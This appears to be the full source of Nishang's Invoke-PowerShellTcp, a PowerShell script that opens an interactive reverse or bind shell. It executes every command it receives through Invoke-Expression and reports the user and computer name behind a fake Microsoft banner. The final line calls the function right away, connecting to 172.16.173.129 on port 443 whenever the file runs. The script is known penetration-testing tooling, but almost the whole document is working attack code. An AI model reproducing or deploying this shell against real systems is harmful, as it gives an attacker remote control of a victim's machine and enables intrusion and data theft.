1. function Invoke-PowerShellTcp
2. {
3. <#
4. .SYNOPSIS
5. Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
6.  
7. .DESCRIPTION
8. This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
9. Also, a standard netcat can connect to this script Bind to a specific port.
10.  
11. The script is derived from Powerfun written by Ben Turner & Dave Hardy
12.  
13. .PARAMETER IPAddress
14. The IP address to connect to when using the -Reverse switch.
15.  
16. .PARAMETER Port
17. The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
18.  
19. .EXAMPLE
20. PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
21.  
22. Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
23. the given IP and port.
24.  
25. .EXAMPLE
26. PS > Invoke-PowerShellTcp -Bind -Port 4444
27.  
28. Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
29.  
30. .EXAMPLE
31. PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
32.  
33. Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
34. listening on the given IP and port.
35.  
36. .LINK
37. http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
38. https://github.com/nettitude/powershell/blob/master/powerfun.ps1
39. https://github.com/samratashok/nishang
40. #>      
41.     [CmdletBinding(DefaultParameterSetName="reverse")] Param(
42.  
43.         [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
44.         [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
45.         [String]
46.         $IPAddress,
47.  
48.         [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
49.         [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
50.         [Int]
51.         $Port,
52.  
53.         [Parameter(ParameterSetName="reverse")]
54.         [Switch]
55.         $Reverse,
56.  
57.         [Parameter(ParameterSetName="bind")]
58.         [Switch]
59.         $Bind
60.  
61.     )
62.  
63.    
64.     try
65.     {
66.         #Connect back if the reverse switch is used.
67.         if ($Reverse)
68.         {
69.             $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
70.         }
71.  
72.         #Bind to the provided port if Bind switch is used.
73.         if ($Bind)
74.         {
75.             $listener = [System.Net.Sockets.TcpListener]$Port
76.             $listener.start()    
77.             $client = $listener.AcceptTcpClient()
78.         }
79.  
80.         $stream = $client.GetStream()
81.         [byte[]]$bytes = 0..65535|%{0}
82.  
83.         #Send back current username and computername
84.         $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
85.         $stream.Write($sendbytes,0,$sendbytes.Length)
86.  
87.         #Show an interactive PowerShell prompt
88.         $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
89.         $stream.Write($sendbytes,0,$sendbytes.Length)
90.  
91.         while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
92.         {
93.             $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
94.             $data = $EncodedText.GetString($bytes,0, $i)
95.             try
96.             {
97.                 #Execute the command on the target.
98.                 $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
99.             }
100.             catch
101.             {
102.                 Write-Warning "Something went wrong with execution of command on the target."
103.                 Write-Error $_
104.             }
105.             $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
106.             $x = ($error[0] | Out-String)
107.             $error.clear()
108.             $sendback2 = $sendback2 + $x
109.  
110.             #Return the results
111.             $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
112.             $stream.Write($sendbyte,0,$sendbyte.Length)
113.             $stream.Flush()  
114.         }
115.         $client.Close()
116.         if ($listener)
117.         {
118.             $listener.Stop()
119.         }
120.     }
121.     catch
122.     {
123.         Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
124.         Write-Error $_
125.     }
126. }
127.  
128.  
129. Invoke-PowerShellTcp -Reverse -IPAddress 172.16.173.129 -Port 443